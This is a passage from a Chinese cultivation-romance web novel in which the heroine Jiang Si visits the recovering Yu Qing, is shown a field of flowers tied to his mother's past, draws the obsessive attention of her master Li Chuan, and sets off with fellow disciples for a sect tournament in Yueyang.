“姜姒”被猛地推到一旁,衣衫散开,露出胸口大片雪白,她也不恼,仿若不知羞耻一般,语气无辜至极:“郁师兄在说什么啊?我就是姜姒啊。”
“不是师兄你......想要我来的么?”
她娇笑着要抚上郁清臂膀,却被毫不留情一把推开。
“胡说八道”,少年眉眼彻底清明,“我什么时候要你来过。”
“哈”,像是听到了什么可笑的鬼话,那人拢了拢下滑的水红外袍,一双美目婉转留情,她看向面色铁青的少年,戳穿了郁清心底最不愿承认的真相。
“我是你的欲望啊。”
她笑得很开心,“因为你心底对你师妹起了欲,我才会出现的呀。”
“住口!”
郁清猛地掐住面前人的脖颈,毫不留情加大力度,“不想死就闭嘴!”
那人被掐得仰头,语气却丝毫未变。
“郁师兄怎么总是喜欢自欺欺人呢。”
她叹了口气,似是无奈:
“...你...杀不了我的,欲念一日不除,我就一日不会消失。”
心中的耐性到了极点,郁清懒得再多费口舌,五指成爪穿心而过,前一刻还在调笑的少女霎时化为一团灰雾,消失不见了。
见状,他一瞬之间想起欲妖的话。
“除非心无杂念之人,否则必会日日欲念缠身。”
郁清闭了闭眼,抬手摸了摸眼尾红痣。
不知过了多久,他忽地叹了口气,像是妥协。
少年唇角微勾,嗤了一声,喃喃道:“若是如此——”
“那我宁愿生生世世,不得解脱。”
*
四月初八,立夏。
距任务完成已过了三天,欲妖被黎川打入天牢暂时收押,九殿十三峰的长老们也聚在一起商讨着这件事牵扯出来的后续事宜,大殿之上,一派“其乐融融”。
眼见着自己这种小辈没什么说话的地方,该交代的也都交代清楚了,姜姒视线扫了一圈,确认没人注意自己后,后退几步,准备开溜。
谁知刚转身,就对上了自家师尊一张似笑非笑的脸。
姜姒:“......”
她真是老倒霉蛋了。
小姑娘讪笑一声,刚准备开口扯东扯西糊弄过去,黎川一句话就逼得她现了原形。
只听她师尊声音悦耳宛如玉石相击,淡色薄唇吐出来的话却冷漠无情:“又去看青云峰那小子?”
姜姒唯唯诺诺点头应是。
见她这幅恭敬疏离的模样,青年背在身后的手紧攥成拳,苍白手背上青筋暴起,指骨也因着用力而泛起青白。
黎川深吸口气,强压住内心不适的酸胀感,努力放缓语气,谆谆善诱:
“阿姒,你其实不用太自责的。”
“作为师兄,他保护你都是应当的。”
“至于
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受伤”,白衣仙尊声音里噙着漠然冷意,“也只能怪他修行不精,境界太低,以至于最后护不住你。”
“再者而言,我已吩咐药峰弟子送去专用的天级伤药和补品。如此,也不算亏待了他。”
说完,他看向垂着眼的姜姒,伸出手想摸摸她的发顶,指尖还未碰到蓬松乌发,却已被人不着痕迹地避开了。
说是不着痕迹,实际在黎川看来,明显得要死。
冷白手掌僵了一瞬,随即无比自然地偏了偏,落到了少女肩上。
这次倒是没被避开。
莫名的心火蔓延燃烧,叫嚣着要让他露出狰狞面庞。
黎川面上没什么变化,依旧淡淡的,但若是细看,便能发现那双向来无情无欲的眼睛里,死死钉着一个人的身影。
看着姜姒远去的背影,黎川修长手指抚上了腰间长剑,声音冰冷:
“怎么下山一趟还和主人生分了呢。”
青年的眉眼压低,黑瞳幽深恰如寒潭,清隽出尘的仙人无意中流露出了几分惊人的偏执。
“是在外面遇到了什么难缠的野狗么。”
*
午后的日光透过树叶的缝隙洒在姜姒身上,不知怎的,本应感到暖和舒适的她只觉背后阵阵发凉。
她蹙着眉偏头回看——
身后明明空无一人。
说来也奇怪,她一直觉得自家师尊是那种温和淡漠的性子,但也不知是不是她多想了,刚才在大殿里对方看自己的眼神,总让她有种强烈的别扭感。
那眼神,不像长辈看后辈,倒像是......
捕食者在看猎物?
没来得及细想,一通七弯八拐,郁清养伤的竹屋就出现在了她眼前。少女深吸口气,摇头,压下心中那种怪异之感,摸了下袖子,确认自己给男主带的东西没丢,便干脆利落地抬手,敲了敲门。
不出所料,门内无人应答。
姜姒挑眉,推开竹门后轻车熟路地放下东西,坐到了床边的小榻上。她偏头去瞧,郁清双手交叠,安安静静地闭着眼,呼吸平稳,枕边还放着一个木头盒子,像是装药的。
摸了摸他的脉搏,小姑娘心中暗叹。
没什么大问题了,怎么就是不醒呢。
如往常一般松开郁清的手,她正准备给自己倒杯水喝,刚起身还没站稳,就被人猛地一下捉住手腕,用力往后一扯——
倒在了少年身上。
生怕把人给压坏了,姜姒急急忙忙撑着床榻就要起身,腰上却蓦得多了一只手,逼得她只能保持着塌腰俯跪的姿势。
头顶传来一道熟悉却疏离的声音:
“这次,你是幻觉,还是现实。”
“什么幻觉现实,你做噩梦了么?”
小姑娘被问得一头雾水,却还是念在对方救命恩人的身份上老老实实回答,“我就是我,我是姜姒,你师妹啊。”
腰上覆着的手一僵,随即像是被烫着似的迅速缩了回去。
重获自由的姜姒看着郁清那张泛红的脸,有些担心地问了句:
“还没回答我呢,你脸这么红,是做噩梦了么?”
“没。”
少年含糊否认,“是个美梦。”
32. 032
美梦?
都吓出应激反应了还美梦呢。
姜姒挑眉,眼底划过一丝明晃晃的狐疑,却是没再追问下去,只当少年面皮薄,做了噩梦也不愿承认。
绯红攀上耳尖,少女很识趣地转移了话题:“对了师兄,你昏迷数日不知,欲妖已被师尊打入天牢暂时收押了。”
“收押?”
郁清很自然地接过对面递出的台阶,顺势往下走,“那妖物害人性命、为祸人间已久,剑尊为何不直接当场斩杀?”
?
这么凶残的吗。
姜姒沉默片刻,试图上手纠正男主有些危险的思想:“欲妖百年来一直被镇压在妖族荒渊,如今突然现世,说不定是妖族那边有所动作。”
“唔”,郁清干脆利落点头。
姜姒还没开始欣慰,只听那人接着又问:“所以呢?”
所以?
所以比起直接杀了那妖物,扣住对方严加审问明显更有价值啊!
姜姒蹙眉,没着急接话,只把郁清上下仔细打量了一番。
向来阴郁冷漠的少年此时面色苍白,往日殷红薄唇也失了颜色,点漆凤眸微微瞪圆,一身单薄中衣衬得他清瘦又可怜,他正抬眸看着她,眼神执拗认真,似乎是对这个处理结果真的很不解。
算了。
姜姒眉目舒展、眼神放软,自小的生活环境就决定了男主杀伐果断的个性,毕竟如果他不狠绝一点,早死千八百回了。
不理解也正常。
越想越怜爱。
小姑娘耐着性子,又仔细给郁清分析了一遍,她说得入神,完全没注意到身边少年的目光已经彻底暗了下来,凝在了她唇上。
“......所以其实综合来看,暂时收押能获得更多有用的消息,比直接斩杀划算一点。大概就是这样了,师兄你......”
“!!!”
姜姒话音未落,正准备偏头看看一旁郁清的反应,却见他不知何时凑得离她那般近,以至于她刚一侧脸,唇瓣就险险擦过少年眉心。
温凉又细腻的触感混杂着微苦的草药清香惊得姜姒大脑一片空白。
她刚刚好像......轻薄了郁清?
她竟敢轻薄男主?!
“师兄对不起对不起!”
“我发誓我绝对不是故意的!”
少女猛地后退一大步,熟练滑跪,眼里丝毫没有对爱情的向往,只有对生命的渴望。
原书里的男主洁身自好到了堪称病态的地步,不论多漂亮的女人自荐枕席都会被他无情拒绝。
至于她为什么记得这么清楚——
主要是合欢宗圣女主动献身那段作者描写得太香艳了,以至于她恨不得把老僧入定不为所动的男主一把推开自己上。
按原著男主记仇又小心眼的性子......她日后不会被他狠狠打击报复吧?
越想越难过,小姑娘干脆直接闭眼,听天由命。
等了半天也没等到那人说话,姜姒悄咪咪睁开一条眼缝向榻上看去,只见原本应该生气的少年看起来比她还手足无措。
披散开来的如墨发丝掩盖住了透红耳尖,冷白手指攥紧了身上薄被,郁清安安静静垂着眼,像是被欺负后又不敢还击的模样。
不是!
怎么个事?
他脸红什么,到底谁欺负谁啊?!
气氛瞬间变得微妙起来,少女只觉得脸颊有点发烫,她是不敢继续靠近那个床铺了,鬼知道还会发生什么。
又往后不着痕迹地退了几步,直到后腰抵在木桌上,她才堪堪停下。
掩饰性地端起桌上茶杯一饮而尽,冰凉的茶水好不容易压住了那股莫名的口干舌燥,她刚准备说些什么,却听那道令人心乱的声音又迟疑地响起:
“姜师妹...那个茶杯...”
“怎么”,姜姒只觉心烦意乱,“这只茶杯是师兄你用过的?”
不知怎的,姜姒最近发现她对着郁清好像总是有些收不住自己的小性子,特别是在对方为她挡了欲妖那一刀之后。
她明明性格很好的。
思来想去,叹了口气,她最终也只能承认自己和郁清多多少少有点八字不合,不然也不至于两人待在一起就犯冲。
“不是。”
少年眉骨微扬,声音清亮,“只是那茶杯大概放了许久,师妹若想喝水,我去再找一只干净的来。”
这话听得姜姒浑身起了鸡皮疙瘩。
她说话这样冲,要放平时,郁清早就不甘示弱阴阳回来了,现下他语气却好得有点不正常。
哪儿哪儿都奇怪。
她还是先走吧。
敷衍地和郁清表达了离开的意愿,小姑娘刚转身推开竹门,身后却忽地传来一阵撕心裂肺的咳嗽声。
硬生生止住了她出门的脚步。
姜姒:“......”
故意的吧?
少女咬了咬牙,暗暗警告自己不能再心软,抬脚,还没迈出去,身后的咳嗽声愈发激烈,这次还隐隐带着点忍痛的呜咽。
姜姒阖了阖眼,认命转身,走向了床榻的方向。
郁清趴在床边俯着身,拱起的脊背因着呼吸急促而上下起伏,姜姒眼尖,清楚窥见那抹隐藏在凌乱黑发下的肩头血色。
好不可怜。
从袖中摸出那瓶专门为少年讨来的伤药,小姑娘这次学聪明了,堪堪止步于离床榻一臂左右的位置,任凭郁清咳得再可怜,她都坚决不肯再进一步。
许是觉得差不多了,咳嗽声渐渐微弱,郁清直起身来,薄唇染上血色,他浑不在意用指尖抹去,抬眸看向姜姒,闷声道:“吓到你了?”
姜姒目光复杂,沉默片刻,答非所问:“师兄救了我一命,作为回报,师兄想要什么?只要我有,都会双手奉上。”
她这话说得疏离。
救命之恩本难清算,但她背后站着的是剑尊黎川,什么好东西她没有。
想以此跟他划清界限?
想都别想。
“既是这样”,少年心中冷嗤,面上却仍是装模作样思考片刻,“我也不求什么天材地宝。”
“只与师妹求个约定。”
“什么约定?”
姜姒顺着他的话,下意识问出了声。
“还没想好”,诓到人的郁清心情大好,单腿支起坐姿落拓,难得显出几分少有的少年意气,“等我哪天想好了,会告知师妹的。”
小姑娘想了想,痛快颔首道:“行,我等着师兄。”
说完,她转身欲走,却又被人叫住。
“姜姒。”
“嗯?”
“以后别唤师兄了,唤我郁清吧。”
身后那人声音从容不迫,仿佛只是在说什么无关紧要的小事,但若是细听,便能察觉出几分隐藏的试探和小心翼翼。
偏生少女像是被蛊惑似的,鬼使神差地,唤出了那个名字。
“郁清?”
“嗯,我在。”
*
若是能回到两个时辰前,姜姒就是被打死也绝不会说出那个名字的。师兄这个称呼不是挺好的么,她怎么就遂了郁清那厮的意呢!
还忽悠她说什么同生共死的伙伴称呼不应该那般疏远。
合着她和江师姐季师兄就不是同生共死了呗?
越想越郁闷,小姑娘干脆抬头看了眼天色。
不看不知道,一看才发现她已经漫无目的地游荡了一下午,天边暮色将倾未倾,只零星点缀着几朵墨色薄云。
叹了口气,姜姒起身返程,结果好死不死的,她又迷路了。
明明昨天她才刚迷过一次。
正准备唤出逢惊春御剑回去,结果刚飞没多久,她就碰到了好几队巡逻弟子,差点被逮去戒律堂领罚。
倒不是说有多怕被罚,主要是乾坤宗今年多了条特别不做人的门规——
凡是进了戒律堂的亲传弟子,不仅要受罚,还得自家师尊亲自担保领人。
黎川最近有点怪怪的。
姜姒内心深处不是很想见他。
无奈之下,小姑娘只好放弃御剑飞行,选择凭借自己的方向感走回栖寒洲。
直到一个时辰过去了,银月当空,姜姒才不得不承认,她这个人,根本就不存在什么方向感。
小腿隐隐作痛,少女又看了眼天色,为了不把整个晚上都耗在探索乾坤宗上,她决定——今天先在树上将就一晚。
反正如今时值春末夏初,山里不冷不热,在外面睡一晚也是可以的。
做好决定,姜姒就近挑了棵枝干粗壮的老树,一跃而上,裹好衣服闭着眼准备入睡。夜风轻柔,草木摩挲,昏昏沉沉之际,一道悉悉索索的声音却忽然出现,扰了少女清眠。
“谁?!”
长剑出鞘,裹挟着被打扰的不悦,直冲那道人影面门而去。
“是我。”
熟悉的声音响起,姜姒下意识伸手掐诀,疾驰中的逢惊春猛地一顿,堪堪停在了离那人不过三寸的地方。
冷白指尖拨开锋利剑刃,一双漆黑眼瞳里的幽深疏寒在对上树上人影的刹那烟消云散。
姜姒跃下树干,几步行至黑衣少年面前,声音里噙着几分狐疑和严肃:“郁清?你伤势颇重,为何不在床上好生休养,深夜来此,意欲何为?”
郁清不答反问:“这是后山,我为何不能在此?倒是阿姒,夜深露重,不回栖寒洲,为何睡在树上?”
看了眼少女沾满灰和杂草的长靴,他长眉一挑,心中隐隐有了猜测,揶揄道:“莫不是离开宗门太久,迷了路?”
没计较他一口一个阿姒。
小姑娘成功被他带偏,视线飘向一旁,不好意思地轻咳了声,带着点被揭穿的窘迫。
郁清唇角勾了勾,抬眼看了眼天色:“夜已过半,还回去么?”
“什么意思?”
姜姒有些懵。
“我的意思是”,少年好脾气地解释,“如果你想回栖寒洲,我就把你送回去,如果暂时不想——”
“我就先带你去个地方。”
“什么地方?”
“去了就知道了。”
许是无聊,许是眼前人笑得太蛊惑人心,也许是其他乱七八糟的东西,少女犹豫一瞬,点头同意了。
*
姜姒一开始还企图记住路线,直到后来七弯八拐绕得她头晕,小姑娘才彻底歇了这个心思,老老实实跟在人后边走。
又穿过几道树丛后,位置愈发偏僻起来。
怎么回事。
怎么还没到。
姜姒的心提了起来,郁清今天种种的不对劲在她脑海中迅速过了一遍——反常的有耐性、装可怜套她的话,大半夜不睡觉跑到后山鬼鬼祟祟。
少女心中一沉。
她不会被杀人灭口吧?
想起一刻钟前被美色糊了脑子,鬼迷心窍的自己,姜姒只觉痛心疾首。
美色惑人美色惑人呐!
老祖宗诚不欺她!
少女掀起眼皮,飞速瞥了前方少年一眼,他正低着头带路,似乎根本就没注意到她的动静。
很好。
姜姒屏息凝神,不着痕迹地放慢脚步,拉开二人距离,随后小腿暗暗发力,转了个方向。灵力顺着经脉向足尖聚拢,万事俱备,她正准备运气逃走时,手腕忽地被人牢牢扣住。
“你在干什么?”
熟悉的声音从背后响起,平静中带着几分淡淡的疑惑。
!!!
姜姒吓了一跳,匆匆卸了力,慌乱中下意识脱口而出:“...我的一个挂饰丢了...许是刚才走的太快落下了,我想回去找找看......”
她越说越心虚。
声音越来越小。
“挂饰?”
郁清蹙了蹙眉,“什么样式?”
“...嗯...就是一个小狐狸,白色的、材质是琉璃玉”,少女一本正经说得跟真的似的,“还有一根红绳串在上面,玉的下方坠了条珍珠链子。”
“对”,姜姒自我肯定,“大概就是这样的。”
少年闻言,沉默片刻,忽地蹲下来开始在地上四处摸索。
如玉指尖很快染上尘灰,他却不甚在意。
郁清动作太快,等少女反应过来时,他已经摸完好几个灌木丛了,细小尖刺划开手心,留下数道血痕。
“干什么呢?!”
姜姒一把把人拽了起来,声音里满是不可置信,“你傻么?天这么黑又看不清你怎么找得到?!”
她语气冲得很,眼里却是自己都没意识到的关心和......心疼。
“我说什么你信什么?笨呐。”
嫩白指尖抚上带着剑茧的粗砺掌心,淡色灵力包裹着伤口,姜姒恨铁不成钢似的嘀嘀咕咕:
“郁清,你不是天才么?”
“怎么老是受伤啊。”
“就算不爱惜自己,也多爱惜爱惜我的灵力吧......”
手心的伤口开始结痂,有点痒。
眼前的小猫在絮絮叨叨,认真训人的样子也好可爱。
郁清忽地展颜笑开,一向如深潭死水般的眼里亮起星芒,眼尾那颗朱红小痣也动了起来,活色生香。
“阿姒。”
“嗯?”
刚引得人抬眸瞧他,少年便俯下身缓慢逼近,稠艳眉眼靠过来,晃得姜姒心神一动,还没把人推开,就听这人轻声开口,像是压着模糊笑意:
“你是在心疼我么?”
*
面对诱你沉沦的妖鬼,有两种制裁方法。
一是克己,坚持本心不为所动;二是除害,直接从根源入手,灭掉让你道心不坚的东西。
姜姒不是个苛求自己的人。
所以她选择了第二种方式。
当郁清问出那个乱她道心的问题时,她沉默三秒,一巴掌呼了过去,同时给出了答案——不是心疼他,只是心疼自己的灵力而已。
修行不易,且用且珍惜。
郁清被扇了一巴掌后便老老实实安分守己,沉默着没再作妖。
一路上气氛变得微妙又奇怪,让姜姒形容,就像是炎炎夏日里穿了件汗湿的长衫,浑身黏腻难受,但不能脱。
毕竟全身上下就穿了那么一件。
至于姜姒为什么不直接扭头走人——
因为郁清跟她说没多远了,最多再走半刻钟就到了。
来都来了。
前面走了那么久,不至于现在放弃。少女斟酌再三,决定最后相信郁清一次。
他最好没在忽悠她。
好在最后那人也确实没有骗她。
她从来不知道后山还有这么美的地方。
空旷的草地上生长着大片大片蔓延连天的粉色小花,一眼望不到尽头,一棵看起来至少百年的大树被那些小花围在中央,夜风一吹,花开始摇曳生姿,那一片便形成了粉色花海。
唯一美中不足的是——
中央的那棵百年大树,是棵枯树,只有光秃的枝干,没有繁茂花叶。
姜姒偏头回望,看向有些出神的郁清,见他面色不对,以为是自己刚才下手太重,有些心虚地问道:“......你没事吧?脸还疼么?”
少年摇了摇头,眼神复杂,答非所问,“你知道,这些是什么花吗。”
“......不知”,姜姒很努力地辨认了下,虚心求教,“是新的品种么?”
“不是”,郁清轻笑出声,像是怀念起了什么,语气变得很温柔,“不是什么珍稀品种,是我小的时候娘亲养过的一种小花。”
“叫什么?”
“故人归。”
“故人归?”
少女挑眉,“为什么会叫这个名字,有什么特殊含义么?”
“也没什么含义”,郁清勾起的唇角渐渐放平,“这花其实就是我父亲第一次见到我娘时送给她的。”
“后来他们分开了,那个男人临走前跟我娘说,等花开的时候,他就会回来,所以我娘给它起名叫故人归。”
“花开时节盼君归”,姜姒有些兴奋,“是个好名字,令堂好文采啊!那后来呢?”
“什么后来?”
“花开的时候啊,你爹你娘见面了么?”
“没有”,郁清神色很淡,语调平平,仿佛是在讲别家的事,“他抛弃了我和我娘,花开了很多次,他一次都没回来。”
“后来我娘就疯了,没人管那些花,都枯死了。”
死嘴。
姜姒沉默,要不是现在当事人就在她面前,她能毫不犹豫给自己俩嘴巴子。
今夜的郁清格外温和,以至于她都渐渐忘记了对方的真实身份。
郁清是谁?黑化文的大男主!
她怎么敢的啊。
聊天上头揭人伤疤,很好,她已经想好之后一百零八种不同的死法了。
姜姒偷偷摸摸瞥了眼身旁的少年,他正垂着眼,长睫覆下,盖住了他眼底的真实情绪,让人捉摸不透。
“那个,你也别太难过,不是、就是,我的意思是......”
死嘴快说啊!
刚才不是叭叭叭很能说的吗!
细白手指交缠,姜姒磕磕巴巴、支支吾吾,正愁着怎么安慰对方,余光忽地瞥见了郁清脚边的粉色小花。
...花...
永开不败的花!
少女明眸一亮,顾不上旁的,迅速扯下腰间的储物袋翻找起来。
“——找到了!就是这个!”
一个透明的琉璃花盏被小姑娘塞到了郁清手里,她兴冲冲给人解释道:
“这是云华盏!里面那些缭绕的白色雾气生于云雾之巅,你把故人归养在这里面,我保它百年之内不腐不败,每日都是花开最盛的模样。”
“送你了,如何?”
郁清接过花盏,看着面前一双杏眼里隐约的期盼和小心翼翼,倏然展颜一笑,道了声谢,声音比先前还有温柔百倍。
“既如此,那就多谢阿姒了。”
“就知道阿姒最挂念师兄了。”
话音未落,他又靠近几分,微微侧着身子。
状似不经意地向后方一瞥,唇角勾起。
见他收下,姜姒舒了口气,抖了抖身上被他喊出来的鸡皮疙瘩,摆了摆手:“没事,郁师兄喜欢
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就好。”
要是不那么叫她就更好了。
听得人浑身难受。
她只当是郁清受了刺激,行为有些奇怪是正常的。
却没注意在他们身后不远处,一身白衣的青年眼神森冷,漆黑瞳孔一动不动盯着他们——
不。
准确来说,是盯着她一人。
“夜不归宿,原来又是去见他了么。”
“我到底哪里不如他了呢?”
“最后一次、最后一次。”
青年像是在自言自语,又像是在反问,“再让我撞见猫猫抛弃主人私会野狗怎么办呢?”
过了片刻,黑暗中传来幽幽叹息——
“那就只好拿笼子把不听话的小猫关起来了。”
*
姜姒是个脸皮很薄的人。
自从那日后山之行莫名其妙结束后,她和郁清之间的氛围就变得异常微妙。
也不知道是不是她那个云华盏的起了作用,少年对她的态度好了不少,虽说不至于有多亲近,但至少再见面时不会用那种阴阳怪气的语调嘲讽她。
有时候甚至还能温声蹦出一两句夸她的好话。
简直让姜姒比见了鬼还惊悚。
倒也不是少女本身癖好特殊,就喜欢别人对她阴阳怪气。
主要是她不习惯这种相处方式。
好比死对头忽然一夜之间和好,然后和和美美做起了夫妻(划掉),好朋友。
是个人都会觉得别扭。
所以姜姒干脆躲着郁清,非必要不见面,就连她一直心心念念的攻略任务都被抛之脑后了。
每日除了练剑就是找江年和季长青插科打诨,时不时再接受一下自家师尊的小灶。
这段时间,除了郁清,其他人和姜姒的关系都可以称得上一句突飞猛进。但埋头作鸵鸟的日子也是有尽头的——
比如修真界百年一次的群英会。
群英会,顾名思义,是由修真界七大宗门三大世家共同举办的一场试炼大比,大比总共分为三个环节,团体赛、个人赛和混战。
个人赛胜出者,前十名的名字会被记在通天榜上,榜单百年一轮换,凡登榜者,都是近百年来最出众的天之骄子。
团体赛胜出者,前五名的宗门和世家分别挑选四位代表和一位继承人,组成交换生队伍,去妖族交流学习。
虽说近几年的妖族不是很太平,内部争斗严重,但两族之间的表面关系还是需要维护的。
毕竟战争这种事情,谁都不想发生。
其实每年群英会的参赛标准都不同,主要取决于每一届弟子的平均实力,要是按往年的标准,姜姒这种没结出元婴的菜鸡绝对不在参赛弟子队伍之内。
但她赶得巧。
今年各宗招收的弟子质量良莠不齐,综合评估低于上届,所以经过群英组委会商讨,决定降低标准,从往年的元婴降到金丹。
她刚好踩线通过。
接收到参赛邀请时,她正躺在树下避暑乘凉。
江年在帮她扇风,季长青在给她剥冰镇葡萄,至于郁清,由于他的特殊性,被小姑娘打发下山买冰饮子了。
咸鱼的日子过得太惬意,以至于她要被迫翻身时,只觉得痛苦绝望。
她曾尝试过舍下毛茸茸的尊严,主动化成小猫向黎川撒娇卖乖,企图打动自己师尊冷硬如铁的内心。
但她师尊丝毫不为所动,还声称她作为他的亲传弟子,不仅要参赛,最好还拿个第一回来。
咸鱼遇到卷王师尊,拼尽全力依旧无法战胜。
第一回合,败。
她也曾试过装病向掌门师伯讨个假,但被柳师叔无情截胡,并大手一挥给她开了许多温和养性但奇苦无比的中药。
直到最后她实在撑不住了,主动交代装病事实,柳师叔才肯放她一马。
小白遇到神医大佬,吃苦无数依旧无法战胜。
第二回合,败。
还有第三回合、第四回合......
不知道白遭了多少罪,她还是要老老实实去参赛。
最后的最后,在启程出发的前一晚,她妥协了。
收拾满了三个储物手镯后,她睫毛上挂着泪,哼哼唧唧入睡了。
次日清晨,熟知她尿性的江年尽职尽责前来敲门,把她从榻上拉起来后,和季长青拖着她一齐上了宗门飞舟。
上了飞舟后人就多了起来,周围叽叽喳喳兴奋的讨论声让姜姒彻底失去了睡觉的欲望。
她揉了揉惺忪双眼,强撑着让自己恢复清醒后,拉着江年就开始参观起了宗门飞舟。
要不说乾坤宗是七大宗门之首呢。
姜姒一边参观一边感慨,财大气粗又舍得为弟子花钱,飞舟外表虽看着普普通通,但内里却是暗藏玄机。
整个飞舟一共分为三层。
最下面的一层是为不同属性弟子们准备的练习区域;中间一层是参赛弟子们住宿的地方,还备有灵气充足的灵果灵肉,没限制弟子们的口腹之欲;至于最上面的一层,则是各个带队长老峰主们的房间。
而这次大比则是被设在了合欢宗、仙音阁、凌霄剑派三宗的交界之地——栎阳城。
一听这名字,姜姒总觉得有些耳熟,她有一搭没一搭地吃着灵果,全身没骨头似的摊在江年身上,任由身后少女给她束发。
“话说”,小姑娘嚼嚼嚼,“各位师兄师姐,有谁了解这栎阳城么?”
“称不上了解”,季长青无比自然接过话题,“只略知一二。”
“一二也行”,姜姒催促道,“季师兄见多识广果然厉害,快说快说!”
季长青被夸爽了,无视身边传来的两道杀人视线,清了清嗓,温声开口:“栎阳城有个别称,叫天酒城。这里盛产美酒,酿出的酒,号称就算是神仙喝了也爱不释手。”
“这么夸张?”
姜姒眼里隐隐透出搞事的亮光,“季师兄尝过这里的酒么?真如传闻说的那般美味吗?”
“倒是没这么夸张。”
少年细细回忆着,“不过好喝还是蛮好喝的,就是后劲有点大。”
他笑着看向跃跃欲试的姜姒,“但若是像姜师妹这般从未饮过酒的人,怕是一瓶清酒就醉的不省人事了。”
姜姒没把这话放在心上,只当季长青是夸大其词吓唬她的。她还没来得及反驳什么,带队长老的声音便从门外响起了:
“栎阳城到了,各位弟子们,拿好随身的包袱,准备下舟了!”
嚯——
屋内几人对视一眼,还真是巧,刚聊到栎阳城,就到了地方。
下了飞舟后,四人被一齐分到了陈长老的队伍里。
此次带队的长□□有五位,三位炼虚、两位合体,陈长老陈容便是那两位合体大能之一。
这位陈长老是个须发皆白的慈祥小老头,为人和善,性格也比较随遇而安。
因为他们飞舟速度快,比预定的比赛时间早了三日,陈容也不拘着他们,告了诉他们住宿的客栈地址、分发了弟子令牌后,便摆摆手,任由他们自己瞎逛去了。
天色尚早,姜姒几人决定先逛逛,等日暮后再去城内最大的酒楼,看看这“酒城”之称是否浪得虚名。
栎阳城不愧为三宗交界之地,贸易繁荣,人口来往也多,一路上卖什么的都有,姜姒被各种新奇玩意儿引得走走停停,其他三个也都没说什么,只一味默契地惯着她。
不知过了多久,姜姒再抬眼时,发现暮色将倾,街道两边的小贩也都渐渐换了批人,季长青和郁清手上也都提着各种各样的东西。
不小心玩嗨了。
小姑娘在内心狠狠谴责了番自己,讪笑着转身,大手一挥豪气冲天:
“不好意思啊师兄师姐,我没注意时辰,不如这样,今晚我们酒楼的账单,我来结?”
“好哇”,江年顺势挽上姜姒手臂,笑着刮了刮她的鼻尖,“那可说好了,师姐我是不客气喽。”
四人说笑着往城中心走去,刚在人家酒楼门口站定,还没出声招呼,一道带着淡蓝微光的凛冽剑气就从里面射了过来。
“小心!”
空灵乐声响起,一道身着浅色流仙裙的纤细身影挡在了他们面前。两股灵力相撞,产生的波动掀翻了酒楼门前的雕金招牌。
“别打了别打了!”
“各位仙人,求求你们别打了!本店小本经营伤不起啊!”
穿着灰色长袍,掌柜模样的人冲了出来,一把鼻涕一把泪地就要跪下磕头。
膝盖还没弯,就被一股灵力轻轻托起。
一道温和女声响起,带着安抚人心的力量:
“掌柜的不用担心,等算清这笔账,我仙音阁自会让人上门赔付,定是不会叫您吃亏的。”
“哼!装什么大度!”
“我们凌霄剑派也会赔付的。”
一个穿着深蓝长袍,长相骄矜的少年走了出来,双手环胸,看着店门口的两位女仙,面露不屑:
“要比就堂堂正正地比一场!在这儿装什么柔弱!”
“再说”,他语气陡然沉了下去,面色阴郁尽显,“这次,不是你们仙音阁先挑事的么。”